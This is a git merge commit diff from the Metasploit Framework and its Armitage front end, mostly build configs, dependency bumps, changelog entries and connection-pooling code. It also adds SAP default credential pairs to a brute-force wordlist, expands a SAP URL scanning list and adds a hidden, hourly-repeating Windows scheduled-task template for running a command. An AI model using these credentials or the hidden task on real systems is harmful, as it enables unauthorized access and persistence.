Merge branch 'master'

Just catching up with master.
unstable
Tod Beardsley 2013-03-08 11:48:18 -06:00
commit f730aa9b37
533 changed files with 13282 additions and 3557 deletions

58
.simplecov Normal file
View File

@ -0,0 +1,58 @@
# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
# controlled by running with coverage, so don't explicitly start coverage (and
# therefore generate a report) when in Rubymine. This _will_ generate a report
# whenever `rake spec` is run.
unless ENV['RM_INFO']
SimpleCov.start
end
SimpleCov.configure do
# ignore this file
add_filter '.simplecov'
#
# Changed Files in Git Group
# @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
#
untracked = `git ls-files --exclude-standard --others`
unstaged = `git diff --name-only`
staged = `git diff --name-only --cached`
all = untracked + unstaged + staged
changed_filenames = all.split("\n")
add_group 'Changed' do |source_file|
changed_filenames.detect { |changed_filename|
source_file.filename.end_with?(changed_filename)
}
end
#
# Framework (msf) related groups
#
add_group 'Metasploit Framework', 'lib/msf'
add_group 'Metasploit Framework (Base)', 'lib/msf/base'
add_group 'Metasploit Framework (Core)', 'lib/msf/core'
#
# Other library groups
#
add_group 'Fastlib', 'lib/fastlib'
add_group 'Metasm', 'lib/metasm'
add_group 'PacketFu', 'lib/packetfu'
add_group 'Rex', 'lib/rex'
add_group 'RKelly', 'lib/rkelly'
add_group 'Ruby Mysql', 'lib/rbmysql'
add_group 'Ruby Postgres', 'lib/postgres'
add_group 'SNMP', 'lib/snmp'
add_group 'Zip', 'lib/zip'
#
# Specs are reported on to ensure that all examples are being run and all
# lets, befores, afters, etc are being used.
#
add_group 'Specs', 'spec'
end

View File

@ -1,4 +1,8 @@
language: ruby
before_install:
- sudo apt-get update -qq
- sudo apt-get install -qq libpcap-dev
rvm:
#- '1.8.7'
- '1.9.3'

7
.yardopts Normal file
View File

@ -0,0 +1,7 @@
--protected
--exclude samples/
--exclude \.ut\.rb/
--exclude \.ts\.rb/
--files CONTRIBUTING.md,COPYING,HACKING,LICENSE
lib/msf/**/*.rb
lib/rex/**/*.rb

View File

@ -7,7 +7,7 @@ gem 'activerecord'
# Needed for some admin modules (scrutinizer_add_user.rb)
gem 'json'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0'
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.6.1'
# Needed by msfgui and other rpc components
gem 'msgpack'
# Needed by anemone crawler

View File

@ -1,9 +1,9 @@
GIT
remote: git://github.com/rapid7/metasploit_data_models.git
revision: 448c1065329efea1eac76a3897f626f122666743
tag: 0.4.0
revision: 7f8e36d9b62a36bcbf43c8f1ab48a07bed0732d9
tag: 0.6.1
specs:
metasploit_data_models (0.4.0)
metasploit_data_models (0.6.1)
activerecord (>= 3.2.10)
activesupport
pg
@ -12,22 +12,22 @@ GIT
GEM
remote: http://rubygems.org/
specs:
activemodel (3.2.11)
activesupport (= 3.2.11)
activemodel (3.2.12)
activesupport (= 3.2.12)
builder (~> 3.0.0)
activerecord (3.2.11)
activemodel (= 3.2.11)
activesupport (= 3.2.11)
activerecord (3.2.12)
activemodel (= 3.2.12)
activesupport (= 3.2.12)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activesupport (3.2.11)
activesupport (3.2.12)
i18n (~> 0.6)
multi_json (~> 1.0)
arel (3.0.2)
builder (3.0.4)
coderay (1.0.8)
coderay (1.0.9)
diff-lcs (1.1.3)
i18n (0.6.1)
i18n (0.6.4)
json (1.7.7)
method_source (0.8.1)
msgpack (0.5.2)
@ -35,10 +35,10 @@ GEM
nokogiri (1.5.6)
pcaprub (0.11.3)
pg (0.14.1)
pry (0.9.10)
pry (0.9.12)
coderay (~> 1.0.5)
method_source (~> 0.8)
slop (~> 3.3.1)
slop (~> 3.4)
rake (10.0.2)
redcarpet (2.2.2)
robots (0.10.1)
@ -54,8 +54,8 @@ GEM
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
slop (3.3.3)
tzinfo (0.3.35)
slop (3.4.3)
tzinfo (0.3.36)
yard (0.8.3)
PLATFORMS

View File

@ -1,47 +1,49 @@
require 'bundler/setup'
require 'rspec/core/rake_task'
require 'yard'
require 'metasploit_data_models'
RSpec::Core::RakeTask.new(:spec)
print_without = false
task :default => :spec
begin
require 'rspec/core/rake_task'
rescue LoadError
puts "rspec not in bundle, so can't set up spec tasks. " \
"To run specs ensure to install the development and test groups."
namespace :yard do
yard_files = [
# Ruby source files first
'lib/msf/**/*.rb',
'lib/rex/**/*.rb',
# Anything after '-' is a normal documentation, not source
'-',
'COPYING',
'HACKING',
'THIRD-PARTY.md'
]
yard_options = [
# include documentation for protected methods for developers extending the code.
'--protected'
]
print_without = true
else
RSpec::Core::RakeTask.new(:spec)
YARD::Rake::YardocTask.new(:doc) do |t|
t.files = yard_files
# --no-stats here as 'stats' task called after will print fuller stats
t.options = yard_options + ['--no-stats']
t.after = Proc.new {
Rake::Task['yard:stats'].execute
}
end
desc "Shows stats for YARD Documentation including listing undocumented modules, classes, constants, and methods"
task :stats => :environment do
stats = YARD::CLI::Stats.new
yard_arguments = yard_options + ['--compact', '--list-undoc'] + yard_files
stats.run(*yard_arguments)
end
task :default => :spec
end
# @todo Figure out how to just clone description from yard:doc
desc "Generate YARD documentation"
# allow calling namespace to as a task that goes to default task for namespace
task :yard => ['yard:doc']
begin
require 'yard'
rescue LoadError
puts "yard not in bundle, so can't set up yard tasks. " \
"To generate documentation ensure to install the development group."
print_without = true
end
metasploit_data_models_task_glob = MetasploitDataModels.root.join(
'lib',
'tasks',
'**',
'*.rake'
).to_s
# include tasks from metasplioit_data_models, such as `rake yard`.
# metasploit-framework specific yard options are in .yardopts
Dir.glob(metasploit_data_models_task_glob) do |path|
load path
end
if print_without
puts "Bundle currently installed " \
"'--without #{Bundler.settings.without.join(' ')}'."
puts "To clear the without option do `bundle install --without ''` " \
"(the --without flag with an empty string) or " \
"`rm -rf .bundle` to remove the .bundle/config manually and " \
"then `bundle install`"
end

Binary file not shown.

Binary file not shown.

View File

@ -1,6 +1,35 @@
Armitage Changelog
==================
6 Mar 13 (tested against msf ca43900a7)
--------
- Active console now gets higher priority when polling msf for output
- Improved team server responsiveness in high latency situations by
creating additional connections to server to balance messages over
- Preferences are now shared among each Armitage connection.
6 Mar 13 (2000h)
--------
- Fixed issue with additional team server connections reporting wrong
application and receiving a summary rejection by the team server.
Cortana Updates (for scripters)
--------
- Added a &publish, &query, &subscribe API to allow inter-script
communication across the team server.
- Added &table_update to set the contents of a table tab without
disturbing the highlighted rows.
- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
due to an error reported by meterpreter.
- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
command 60s to execute. If it doesn't finish in that time, Cortana
will release the lock on the shell so the user can control it.
(ideally, this shouldn't happen... this is a safety mechanism)
- Changed Meterpreter command timeout to 2m from 12s. This is because
https meterpreter might not checkin for up to 60s, if it's been
idle for a long time. This will make &m_cmd less likely to timeout
12 Feb 13 (tested against msf 16438)
---------
- Fixed a corner case preventing the display of removed host labels

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,50 @@
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>DATEHERE</Date>
<Author>USERHERE</Author>
</RegistrationInfo>
<Triggers>
<TimeTrigger>
<Repetition>
<Interval>PT60M</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>DATEHERE</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>DOMAINHERE</UserId>
<LogonType>S4U</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>COMMANDHERE</Command>
</Exec>
</Actions>
</Task>

View File

@ -1,127 +0,0 @@
class MoveOldImportedCredsToNewFiles < ActiveRecord::Migration
class ImportedCred < ActiveRecord::Base
end
class CredFile < ActiveRecord::Base
end
class Workspace < ActiveRecord::Base
end
class << self
def find_or_create_cred_path
cred_files_dir = nil
msf_base = Msf::Config.install_root
pro_base = File.expand_path(File.join(msf_base, "..", "engine", "lib", "pro"))
if File.directory? pro_base
cred_files_dir = File.expand_path(File.join(msf_base, "..", "cred_files"))
FileUtils.mkdir_p(cred_files_dir) unless File.exists?(cred_files_dir)
if File.directory?(cred_files_dir) and File.writable?(cred_files_dir)
end
end
return cred_files_dir
end
def find_all_imported_creds_by_workspace
valid_ptypes = ["smb_hash", "userpass", "password"]
valid_workspaces = Workspace.all.map {|w| w.id}
creds = {}
ImportedCred.all.each do |cred|
next unless cred.ptype
next unless valid_ptypes.include? cred.ptype
next unless cred.workspace_id
next unless valid_workspaces.include? cred.workspace_id
creds[cred.workspace_id] ||= []
creds[cred.workspace_id] << cred
end
return creds
end
def sort_creds_into_file_types(old_creds)
files = {}
old_creds.each do |wid,creds|
filedata = {}
creds.each do |cred|
filedata[cred.ptype] ||= []
case cred.ptype
when "smb_hash", "userpass"
filedata[cred.ptype] << ("%s %s" % [cred.user,cred.pass])
when "password"
filedata[cred.ptype] << cred.pass.to_s
end
files[wid] = filedata
end
end
return files
end
def write_creds_to_files(old_creds,cred_path)
file_data_to_write = sort_creds_into_file_types(old_creds)
files_written = []
file_data_to_write.each do |wid, fdata_hash|
fdata_hash.each do |ftype,cred_data|
next unless cred_data
next if cred_data.empty?
fname = File.join(cred_path,"creds_#{wid}_#{ftype}-#{Time.now.utc.to_i}.txt")
fdata = cred_data.join("\n")
fh = File.open(fname, "wb")
begin
fh.write fdata
fh.flush
ensure
fh.close
end
files_written << fname
end
end
return files_written
end
def register_new_files(new_files)
successful_count = 0
new_files.each do |fname|
next unless File.split(fname).last =~ /^creds_([0-9]+)_(userpass|password|smb_hash)\-[0-9]+\.txt$/
wid = $1
next unless Workspace.find(wid)
ftype = $2
actual_ftype = case ftype
when "smb_hash", "userpass"
"userpass" # They're treated the same
when "password"
"pass"
end
next unless actual_ftype
say "Registering credential file '%s' for workspace %d as type '%s'" % [fname,wid,actual_ftype]
cred_file = CredFile.new
cred_file.workspace_id = wid
cred_file.created_by = ""
cred_file.path = fname
cred_file.name = "#{ftype}.txt"
cred_file.desc = "Migrated #{ftype} credentials"
cred_file.ftype = actual_ftype
if cred_file.save
successful_count += 1
say "Successfully imported #{ftype} credentials for workspace #{wid}"
end
end
successful_count
end
end
def self.up
cred_path = find_or_create_cred_path
if cred_path
old_imported_creds = find_all_imported_creds_by_workspace
new_files = write_creds_to_files(old_imported_creds,cred_path)
successful_count = register_new_files(new_files)
end
end
# Sorry, can't get the old data back.
def self.down
end
end

View File

@ -6,9 +6,14 @@ SAPCPIC ADMIN
EARLYWATCH SUPPORT
TMSADM PASSWORD
TMSADM ADMIN
TMSADM $1Pawd2&
ADMIN welcome
ADSUSER ch4ngeme
ADS_AGENT ch4ngeme
DEVELOPER ch4ngeme
J2EE_ADMIN ch4ngeme
SAPJSF ch4ngeme
SAPR3 SAP
CTB_ADMIN sap123
XMI_DEMO sap123

View File

@ -93,11 +93,11 @@
/rwb/version.html
/sap/admin
/sap/bc/bsp/esh_os_service/favicon.gif
/sap/bc/bsp/sap
/sap/bc/bsp/sap
/sap/bc/bsp/sap/alertinbox
/sap/bc/bsp/sap/bsp_dlc_frcmp
/sap/bc/bsp/sap/bsp_veri
/sap/bc/bsp/sap/bsp_verificatio
/sap/bc/bsp/sap/bsp_verificatio
/sap/bc/bsp/sap/bsp_wd_base
/sap/bc/bsp/sap/bspwd_basics
/sap/bc/bsp/sap/certmap
@ -116,31 +116,46 @@
/sap/bc/bsp/sap/graph_bsp_test
/sap/bc/bsp/sap/graph_bsp_test/Mimes
/sap/bc/bsp/sap/gsbirp
/sap/bc/bsp/sap/htmlb_samples
/sap/bc/bsp/sap/hrrcf_wd_dovru
/sap/bc/bsp/sap/htmlb_samples
/sap/bc/bsp/sap/iccmp_bp_cnfirm
/sap/bc/bsp/sap/iccmp_hdr_cntnr
/sap/bc/bsp/sap/iccmp_hdr_cntnt
/sap/bc/bsp/sap/iccmp_header
/sap/bc/bsp/sap/iccmp_ssc_ll/
/sap/bc/bsp/sap/ic_frw_notify
/sap/bc/bsp/sap/it00
/sap/bc/bsp/sap/public/bc
/sap/bc/bsp/sap/it00
/sap/bc/bsp/sap/it00/default.htm
/sap/bc/bsp/sap/it00/http_client.htm
/sap/bc/bsp/sap/it00/http_client_xml.htm
/sap/bc/bsp/sap/public/bc
/sap/bc/bsp/sap/public/graphics
/sap/bc/bsp/sap/sam_demo
/sap/bc/bsp/sap/sam_notifying
/sap/bc/bsp/sap/sam_sess_queue
/sap/bc/bsp/sap/sbspext_htmlb
/sap/bc/bsp/sap/sbspext_xhtmlb
/sap/bc/bsp/sap/sbspext_htmlb
/sap/bc/bsp/sap/sbspext_xhtmlb
/sap/bc/bsp/sap/spi_admin
/sap/bc/bsp/sap/spi_monitor
/sap/bc/bsp/sap/sxms_alertrules
/sap/bc/bsp/sap/system
/sap/bc/bsp/sap/system
/sap/bc/bsp/sap/thtmlb_scripts
/sap/bc/bsp/sap/thtmlb_styles
/sap/bc/bsp/sap/uicmp_ltx
/sap/bc/bsp/sap/xmb_bsp_log
/sap/bc/contentserver
/sap/bc/echo
/sap/bc/erecruiting/applwzd
/sap/bc/erecruiting/confirmation_e
/sap/bc/erecruiting/confirmation_i
/sap/bc/erecruiting/dataoverview
/sap/bc/erecruiting/password
/sap/bc/erecruiting/posting_apply
/sap/bc/erecruiting/qa_email_e
/sap/bc/erecruiting/qa_email_i
/sap/bc/erecruiting/registration
/sap/bc/erecruiting/startpage
/sap/bc/erecruiting/verification
/sap/bc/error
/sap/bc/FormToRfc
/sap/bc/graphics/net
@ -165,10 +180,36 @@
/sap/bc/webdynpro/sap/cnp_light_test
/sap/bc/webdynpro/sap/configure_application
/sap/bc/webdynpro/sap/configure_component
/sap/bc/webdynpro/sap/esh_admin_ui_component
/sap/bc/webdynpro/sap/esh_admin_ui_component
/sap/bc/webdynpro/sap/esh_adm_smoketest_ui
/sap/bc/webdynpro/sap/esh_eng_modelling
/sap/bc/webdynpro/sap/esh_search_results.ui
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_ext
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_int
/sap/bc/webdynpro/sap/hrrcf_a_appls
/sap/bc/webdynpro/sap/hrrcf_a_applwizard
/sap/bc/webdynpro/sap/hrrcf_a_candidate_registration
/sap/bc/webdynpro/sap/hrrcf_a_candidate_verification
/sap/bc/webdynpro/sap/hrrcf_a_dataoverview
/sap/bc/webdynpro/sap/hrrcf_a_draft_applications
/sap/bc/webdynpro/sap/hrrcf_a_new_verif_mail
/sap/bc/webdynpro/sap/hrrcf_a_posting_apply
/sap/bc/webdynpro/sap/hrrcf_a_psett_ext
/sap/bc/webdynpro/sap/hrrcf_a_psett_int
/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_extern
/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_intern
/sap/bc/webdynpro/sap/hrrcf_a_qa_mss
/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch
/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch_int
/sap/bc/webdynpro/sap/hrrcf_a_req_assess
/sap/bc/webdynpro/sap/hrrcf_a_requi_monitor
/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin
/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager
/sap/bc/webdynpro/sap/hrrcf_a_tp_assess
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search
/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand
/sap/bc/webdynpro/sap/sh_adm_smoketest_files
/sap/bc/webdynpro/sap/wd_analyze_config_appl
/sap/bc/webdynpro/sap/wd_analyze_config_comp
@ -196,11 +237,12 @@
/sapmc/sapmc.html
/sap/monitoring/
/sap/public/bc
/sap/public/bc
/sap/public/bc/icons
/sap/public/bc/icons_rtl
/sap/public/bc/its
/sap/public/bc/its/designs
/sap/public/bc/its/mimes
/sap/public/bc/its/mimes/system/SL/page/hourglass.html
/sap/public/bc/its/mimes/system/SL/page/hourglass.html
/sap/public/bc/its/mobile/itsmobile00
/sap/public/bc/its/mobile/itsmobile01
/sap/public/bc/its/mobile/rfid
@ -211,8 +253,9 @@
/sap/public/bc/pictograms
/sap/public/bc/sicf_login_run
/sap/public/bc/trex
/sap/public/bc/ur
/sap/public/bc/ur
/sap/public/bc/wdtracetool
/sap/public/bc/webdynpro
/sap/public/bc/webdynpro/adobechallenge
/sap/public/bc/webdynpro/mimes
/sap/public/bc/webdynpro/ssr
@ -220,16 +263,17 @@
/sap/public/bc/webicons
/sap/public/bc/workflow
/sap/public/bc/workflow/shortcut
/sap/public/bsp/sap
/sap/public/bsp/sap/htmlb
/sap/public/bsp/sap/public
/sap/public/bsp/sap/public/bc
/sap/public/bsp
/sap/public/bsp/sap
/sap/public/bsp/sap/htmlb
/sap/public/bsp/sap/public
/sap/public/bsp/sap/public/bc
/sap/public/bsp/sap/public/faa
/sap/public/bsp/sap/public/graphics
/sap/public/bsp/sap/public/graphics/jnet_handler
/sap/public/bsp/sap/public/graphics/mimes
/sap/public/bsp/sap/system
/sap/public/bsp/sap/system_public
/sap/public/bsp/sap/system
/sap/public/bsp/sap/system_public
/sap/public/icf_check
/sap/public/icf_info
/sap/public/icf_info/icr_groups

View File

@ -1,12 +0,0 @@
source 'http://rubygems.org'
gem 'rails', '3.2.2'
gem 'authlogic'
gem 'prototype_legacy_helper', '0.0.0', :git => 'git://github.com/jvennix-r7/prototype_legacy_helper.git'
gem 'state_machine', '1.1.2'
gem 'liquid', '2.3.0'
gem 'ice_cube'
gem 'acts_as_list'
gem 'mime-types', '1.18', :git => "git://github.com/rapid7/mime-types.git"
gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git"
gem 'robots', '0.10.1'

View File

@ -3,7 +3,7 @@
<center><h1>Armitage 1.45</h1></center>
<p>An attack management tool for Metasploit&reg;
<br />Release: 12 Feb 13</p>
<br />Release: 6 Mar 13</p>
<br />
<p>Developed by:</p>

View File

@ -188,13 +188,24 @@ sub table_selected_single {
# table_set($table, @rows)
sub table_set {
local('$model $row');
$model = [$1 getModel];
[$model clear: size($2) * 2];
foreach $row ($2) {
[$model addEntry: $row];
}
[$model fireListeners];
later(lambda({
local('$model $row');
$model = [$a getModel];
[$model clear: size($b) * 2];
foreach $row ($b) {
[$model addEntry: $row];
}
[$model fireListeners];
}, $a => $1, $b => $2));
}
# table_set($table, @rows)
sub table_update {
later(lambda({
[$a markSelections];
table_set($a, $b);
[$a restoreSelections];
}, $a => $1, $b => $2));
}
# table_sorter($table, index, &function);

View File

@ -583,6 +583,39 @@ sub data_add {
call("db.key_add", $1, $data);
}
#
# a publish/query/subscribe API
#
# publish("key", $object)
sub publish {
local('$data');
$data = [msf.Base64 encode: cast(pack("o", $2, 1), 'b')];
call_async("armitage.publish", $1, "$data $+ \n");
}
# query("key", "index")
sub query {
local('$r @r $result');
$r = call("armitage.query", $1, $2)['data'];
if ($r ne "") {
foreach $result (split("\n", $r)) {
push(@r, unpack("o", [msf.Base64 decode: $result])[0]);
}
}
return @r;
}
# subscribe("key", "index", "1s/5s/10s/15s/30s/1m/5m/10m/15m/20m/30m/60m")
sub subscribe {
on("heartbeat_ $+ $3", lambda({
local('$result');
foreach $result (query($key, $index)) {
fire_event_local($key, $result, $index);
}
}, $key => $1, $index => $2));
}
#
# Shell shock?
#
@ -834,7 +867,7 @@ sub m_exec {
}, \$command, \$channel, \$buffer));
}
else {
# this is probably ok...
fire_event_local("exec_error", $1, $command, ["$3" trim]);
}
}, \$command));
}

View File

@ -15,7 +15,7 @@ import graph.*;
import java.awt.image.*;
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME');
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME @POOL');
sub describeHost {
local('$desc');
@ -164,13 +164,14 @@ sub _connectToMetasploit {
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
$aclient = [new RpcAsync: $client];
$mclient = $client;
push(@POOL, $aclient);
initConsolePool();
$DESCRIBE = "localhost";
}
# we have a team server... connect and authenticate to it.
else {
[$progress setNote: "Connected: logging in"];
$client = c_client($1, $2);
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
$mclient = setup_collaboration($3, $4, $1, $2);
$aclient = $mclient;
@ -178,6 +179,17 @@ sub _connectToMetasploit {
[$progress close];
return;
}
else {
[$progress setNote: "Connected: authenticated"];
}
# create six additional connections to team server... for balancing consoles.
local('$x $cc');
for ($x = 0; $x < 6; $x++) {
$cc = c_client($1, $2);
call($cc, "armitage.validate", $3, $4, $null, "armitage", 120326);
push(@POOL, $cc);
}
}
$flag = $null;
}

View File

@ -57,12 +57,21 @@ sub parseYaml {
sub loadPreferences {
local('$file $prefs');
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
$prefs = [new Properties];
if (-exists $file) {
[$prefs load: [new java.io.FileInputStream: $file]];
if ($__frame__ !is $null && [$__frame__ getPreferences] !is $null) {
$prefs = [$__frame__ getPreferences];
}
else {
[$prefs load: resource("resources/armitage.prop")];
$prefs = [new Properties];
if (-exists $file) {
[$prefs load: [new java.io.FileInputStream: $file]];
}
else {
[$prefs load: resource("resources/armitage.prop")];
}
if ($__frame__ !is $null) {
[$__frame__ setPreferences: $prefs];
}
}
# parse command line options here.

View File

@ -290,7 +290,7 @@ sub createShellSessionTab {
return;
}
$thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0];
$thread = [new ConsoleClient: $console, rand(@POOL), "session.shell_read", "session.shell_write", $null, $sid, 0];
[$frame addTab: "Shell $sid", $console, lambda({
call_async($mclient, "armitage.unlock", $sid);
[$thread kill];

View File

@ -78,7 +78,7 @@ sub setupEventStyle {
sub createDisplayTab {
local('$console $host $queue $file');
$queue = [new ConsoleQueue: $client];
$queue = [new ConsoleQueue: rand(@POOL)];
if ($1 eq "Log Keystrokes") {
$console = [new ActivityConsole: $preferences];
}
@ -100,7 +100,7 @@ sub createConsolePanel {
setupConsoleStyle($console);
$result = call($client, "console.create");
$thread = [new ConsoleClient: $console, $aclient, "console.read", "console.write", "console.destroy", $result['id'], $1];
$thread = [new ConsoleClient: $console, rand(@POOL), "console.read", "console.write", "console.destroy", $result['id'], $1];
[$thread setMetasploitConsole];
[$thread setSessionListener: {

View File

@ -215,6 +215,7 @@ public class ConsoleClient implements Runnable, ActionListener {
Map read;
boolean shouldRead = go_read;
String command = null;
long last = 0;
try {
while (shouldRead) {
@ -230,21 +231,23 @@ public class ConsoleClient implements Runnable, ActionListener {
lastRead = System.currentTimeMillis();
}
read = readResponse();
if (read == null || "failure".equals( read.get("result") + "" )) {
break;
}
processRead(read);
if ((System.currentTimeMillis() - lastRead) <= 500) {
Thread.sleep(10);
long now = System.currentTimeMillis();
if (this.window != null && !this.window.isShowing() && (now - last) < 1500) {
/* check if our window is not showing... if not, then we're going to switch to a very reduced
read schedule. */
}
else {
Thread.sleep(500);
read = readResponse();
if (read == null || "failure".equals( read.get("result") + "" )) {
break;
}
processRead(read);
last = System.currentTimeMillis();
}
Thread.sleep(100);
synchronized (listeners) {
shouldRead = go_read;
}

View File

@ -130,6 +130,10 @@ public class Sessions extends ManagedData {
}
}
/* calculate the differences and fire some events based on them */
Set newSessions = DataUtils.difference(after, before);
fireSessionEvents("session_open", newSessions.iterator(), dataz);
/* calculate sync events and fix the nonsync set */
Set newsync = DataUtils.intersection(syncz, nonsync);
fireSessionEvents("session_sync", newsync.iterator(), dataz);
@ -137,11 +141,9 @@ public class Sessions extends ManagedData {
/* update our list of non-synced sessions */
nonsync.removeAll(syncz);
/* calculate the differences and fire some events based on them */
Set newSessions = DataUtils.difference(after, before);
fireSessionEvents("session_open", newSessions.iterator(), dataz);
newSessions.retainAll(syncz);
/* these are sessions that are new and sync'd -- fire events for them... */
newSessions.removeAll(newsync); /* we already fired events for these */
newSessions.retainAll(syncz); /* keep anything that is synced */
fireSessionEvents("session_sync", newSessions.iterator(), dataz);
Set droppedSessions = DataUtils.difference(before, after);

View File

@ -30,11 +30,16 @@ public class UIBridge implements Loadable, Function {
if (name.equals("&later")) {
final SleepClosure f = BridgeUtilities.getFunction(args, script);
final Stack argz = EventManager.shallowCopy(args);
SwingUtilities.invokeLater(new Runnable() {
public void run() {
SleepUtils.runCode(f, "laterz", null, argz);
}
});
if (SwingUtilities.isEventDispatchThread()) {
SleepUtils.runCode(f, "laterz", null, argz);
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
SleepUtils.runCode(f, "laterz", null, argz);
}
});
}
}
return SleepUtils.getEmptyScalar();

View File

@ -75,7 +75,8 @@ public class ShellSession implements Runnable {
/* loop forever waiting for response to come back. If session is dead
then this loop will break with an exception */
while (true) {
long start = System.currentTimeMillis();
while ((System.currentTimeMillis() - start) < 60000) {
response = readResponse();
String data = (response.get("data") + "");
@ -95,6 +96,7 @@ public class ShellSession implements Runnable {
Thread.sleep(100);
}
System.err.println(session + " -> " + c.text + " (took longer than anticipated, dropping: " + (System.currentTimeMillis() - start) + ")");
}
catch (Exception ex) {
System.err.println(session + " -> " + c.text + " ( " + response + ")");

View File

@ -14,7 +14,7 @@ public class MeterpreterSession implements Runnable {
protected String session;
protected boolean teammode;
public static long DEFAULT_WAIT = 12000;
public static long DEFAULT_WAIT = 120000;
private static class Command {
public Object token;

View File

@ -10,6 +10,7 @@ import javax.xml.transform.*;
import javax.xml.transform.dom.*;
import javax.xml.transform.stream.*;
import org.w3c.dom.*;
import armitage.ArmitageBuffer;
/**
* This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from
@ -85,6 +86,22 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async {
protected HashMap locks = new HashMap();
protected String address = "";
protected HashMap buffers = new HashMap();
/* help implement our remote buffer API for PQS primitives */
public ArmitageBuffer getABuffer(String key) {
synchronized (buffers) {
ArmitageBuffer buffer;
if (buffers.containsKey(key)) {
buffer = (ArmitageBuffer)buffers.get(key);
}
else {
buffer = new ArmitageBuffer(16384);
buffers.put(key, buffer);
}
return buffer;
}
}
public String getLocalAddress() {
return address;
@ -133,6 +150,23 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async {
locks.remove(params[0] + "");
return new HashMap();
}
else if (methodName.equals("armitage.publish")) {
ArmitageBuffer buffer = getABuffer(params[0] + "");
buffer.put(params[1] + "");
return new HashMap();
}
else if (methodName.equals("armitage.query")) {
ArmitageBuffer buffer = getABuffer(params[0] + "");
String data = (String)buffer.get(params[1] + "");
HashMap temp = new HashMap();
temp.put("data", data);
return temp;
}
else if (methodName.equals("armitage.reset")) {
ArmitageBuffer buffer = getABuffer(params[0] + "");
buffer.reset();
return new HashMap();
}
else if (hooks.containsKey(methodName)) {
RpcConnection con = (RpcConnection)hooks.get(methodName);
return con.execute(methodName, params);

View File

@ -10,8 +10,48 @@ import table.*;
import java.util.*;
public class ATable extends JTable {
public static final String indicator = " \u271A";
protected boolean alternateBackground = false;
protected int[] selected = null;
/* call this function to store selections */
public void markSelections() {
selected = getSelectedRows();
}
public void fixSelection() {
if (selected.length == 0)
return;
getSelectionModel().setValueIsAdjusting(true);
int rowcount = getModel().getRowCount();
for (int x = 0; x < selected.length; x++) {
if (selected[x] < rowcount) {
getSelectionModel().addSelectionInterval(selected[x], selected[x]);
}
}
getSelectionModel().setValueIsAdjusting(false);
}
/* call this function to restore selections after a table update */
public void restoreSelections() {
if (!SwingUtilities.isEventDispatchThread()) {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
fixSelection();
}
});
}
else {
fixSelection();
}
}
public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) {
final Set specialitems = new HashSet();
specialitems.add("Wordlist");
@ -39,7 +79,7 @@ public class ATable extends JTable {
String content = (value != null ? value : "") + "";
if (specialitems.contains(content) || content.indexOf("FILE")!= -1) {
content = content + " \u271A";
content = content + indicator;
}
JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column);
@ -117,6 +157,47 @@ public class ATable extends JTable {
};
}
public static TableCellRenderer getTimeTableRenderer() {
return new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
